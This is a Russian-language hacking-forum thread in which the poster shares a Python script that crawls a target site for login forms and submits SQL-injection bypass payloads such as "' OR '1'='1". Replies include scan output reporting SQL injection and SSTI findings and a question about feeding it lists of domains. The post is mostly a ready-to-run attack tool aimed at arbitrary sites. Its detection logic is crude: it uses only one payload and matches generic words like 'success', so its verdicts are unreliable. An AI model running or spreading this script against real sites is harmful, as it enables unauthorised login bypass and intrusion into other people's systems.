Загрузка...

Script Script for checking SQL.

Thread in Python created by 0xd5f May 26, 2025. 289 views

  1. 0xd5f
    0xd5f Topic starter May 26, 2025 Разработка ботов и программ: https://lolz.live/threads/8827506/
    Скрипт для проверки ресурса на уязвимость к SQL-инъекции.
    Вайб-кодерам, которые пишут сайты

    Python
    import requests
    from bs4 import BeautifulSoup
    import logging
    from urllib.parse import urljoin

    logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
    handlers=[
    logging.FileHandler('web_security_scanner.log'),
    logging.StreamHandler()
    ]
    )
    logger = logging.getLogger('LZT_AntiVibe')

    class WebSecurityScanner:
    """
    Класс для сканирования веб-сайтов на наличие уязвимостей.
    """

    def __init__(self, user_agent=None, timeout=10):
    """
    Инициализация сканера.

    Args:
    user_agent (str): Пользовательский User-Agent.
    timeout (int): Таймаут для HTTP-запросов.
    """
    self.session = requests.Session()
    self.session.headers.update({
    'User-Agent': user_agent or 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept-Language': 'en-US,en;q=0.5'
    })
    self.timeout = timeout

    def find_auth_forms(self, base_url):
    """
    Ищет все формы аутентификации на странице.

    Args:
    base_url (str): URL для сканирования.

    Returns:
    list: Список словарей с информацией о формах.
    """
    try:
    response = self.session.get(base_url, timeout=self.timeout)
    soup = BeautifulSoup(response.text, 'html.parser')

    auth_forms = []
    for form in soup.find_all('form'):
    form_data = {
    'action': form.get('action', ''),
    'method': form.get('method', 'get').upper(),
    'inputs': []
    }

    for inp in form.find_all(['input', 'textarea', 'select']):
    input_data = {
    'name': inp.get('name', ''),
    'type': inp.get('type', 'text'),
    'value': inp.get('value', '')
    }
    form_data['inputs'].append(input_data)

    form_text = str(form).lower()
    auth_keywords = ['login', 'sign', 'auth', 'password', 'username']
    if any(keyword in form_text for keyword in auth_keywords):
    auth_forms.append(form_data)

    return auth_forms

    except Exception as e:
    logger.error(f"Ошибка при поиске форм аутентификации на {base_url}: {e}")
    return []

    def check_sql_injection(self, target_url, form_data):
    """
    Проверяет форму на уязвимость SQL-инъекции.

    Args:
    target_url (str): Базовый URL формы.
    form_data (dict): Информация о форме.

    Returns:
    bool: True если уязвимость обнаружена.
    """
    try:
    action_url = form_data['action']
    full_url = urljoin(target_url, action_url)

    payloads = [
    "' OR '1'='1",
    "' OR 1=1 --",
    '" OR "" = "',
    'admin" --'
    ]

    params = {}
    for inp in form_data['inputs']:
    if inp['name']:
    if 'password' in inp['name'].lower():
    params[inp['name']] = 'test' + payloads[0]
    else:
    params[inp['name']] = 'test' + payloads[0]

    if form_data['method'] == 'POST':
    response = self.session.post(full_url, data=params, timeout=self.timeout)
    else:
    response = self.session.get(full_url, params=params, timeout=self.timeout)

    indicators = [
    'welcome', 'dashboard', 'logout', 'success',
    'logged in', 'admin panel', 'invalid syntax',
    'error in your sql syntax'
    ]

    response_text = response.text.lower()
    if any(indicator in response_text for indicator in indicators):
    logger.warning(f"Возможная уязвимость SQL-инъекции обнаружена на {full_url}")
    return True

    logger.info(f"Уязвимость SQL-инъекции не обнаружена на {full_url}")
    return False

    except Exception as e:
    logger.error(f"Ошибка при проверке SQL-инъекции: {e}")
    return False

    def scan_website(self, base_url):
    """
    Полное сканирование веб-сайта на уязвимости.

    Args:
    base_url (str): URL для сканирования.

    Returns:
    list: Список уязвимых форм.
    """
    logger.info(f"\n=== Начато сканирование сайта: {base_url} ===")

    auth_forms = self.find_auth_forms(base_url)
    logger.info(f"\nНайдено {len(auth_forms)} форм аутентификации")

    vulnerable_forms = []
    for i, form in enumerate(auth_forms, 1):
    form_url = urljoin(base_url, form.get('action', '')) or base_url
    logger.info(f"\n[Форма {i}] Проверка формы по адресу: {form_url}")
    logger.info(f"Метод: {form.get('method', 'GET')}")
    logger.info(f"Поля формы: {[inp['name'] for inp in form['inputs'] if inp['name']]}")

    vulnerable = self.check_sql_injection(base_url, form)

    if vulnerable:
    logger.warning(f"=== ВНИМАНИЕ: Обнаружена уязвимая форма ===")
    logger.warning(f"URL формы: {form_url}")
    logger.warning(f"Метод: {form.get('method', 'GET')}")
    logger.warning(f"Поля: {[inp['name'] for inp in form['inputs'] if inp['name']]}")
    vulnerable_forms.append({
    'url': form_url,
    'method': form.get('method', 'GET'),
    'fields': [inp['name'] for inp in form['inputs'] if inp['name']]
    })
    else:
    logger.info(f"Форма безопасна: {form_url}")

    # Итоговый отчет
    logger.info("\n=== Результаты сканирования ===")
    logger.info(f"Проверено форм: {len(auth_forms)}")
    logger.info(f"Найдено уязвимых форм: {len(vulnerable_forms)}")

    for i, vuln_form in enumerate(vulnerable_forms, 1):
    logger.warning(f"\nУязвимая форма #{i}:")
    logger.warning(f"URL: {vuln_form['url']}")
    logger.warning(f"Метод: {vuln_form['method']}")
    logger.warning(f"Поля: {', '.join(vuln_form['fields'])}")

    return vulnerable_forms

    if __name__ == "__main__":
    scanner = WebSecurityScanner(timeout=15)
    target_url = "https://example.com" # Замените на реальный URL для тестирования

    vulnerable_forms = scanner.scan_website(target_url)

    if vulnerable_forms:
    print("\n=== ИТОГОВЫЙ ОТЧЕТ ===")
    print(f"Найдено уязвимых форм: {len(vulnerable_forms)}")
    for i, form in enumerate(vulnerable_forms, 1):
    print(f"\nУязвимая форма #{i}:")
    print(f"URL: {form['url']}")
    print(f"Метод: {form['method']}")
    print(f"Поля: {', '.join(form['fields'])}")
    else:
    print("\nУязвимые формы не обнаружены.")
    [IMG]
     
  2. противоположник
    ******/tор/anti-bot?
     
    1. View previous comments (2)
    2. 0xd5f Topic starter
    3. 0xd5f Topic starter
      противоположник, [IMG]

      [SQL Injection]: Уязвимость обнаружена!
      [XSS]: Уязвимость не найдена.
      [File Inclusion]: Уязвимость не найдена.
      [SSTI]: Уязвимость обнаружена!
      [Directory Traversal]: Уязвимость не найдена.
      [Middleware Header]: Нет реакции/ответа.
      [CAPTCHA]: Не найдена
  3. Bendik667
    Bendik667 May 26, 2025 вэйки вэйки 2413 Mar 26, 2023
    Opa polezno
     
  4. ФРУТС
    ФРУТС May 26, 2025 <3 jenna ortega E> 474 Feb 7, 2023
    парс доменов есть? или самому пулл кидать?
     
  5. GreatestDreamer
    Ⓒ Написано вайб-кодером.
     
  6. Stalkie
    Stalkie May 26, 2025 102 Apr 8, 2017
    А зачем, просто юзаешь ОРМку типо алхимии и даже не думаешь об этом
     
    1. 0xd5f Topic starter
Loading...
Top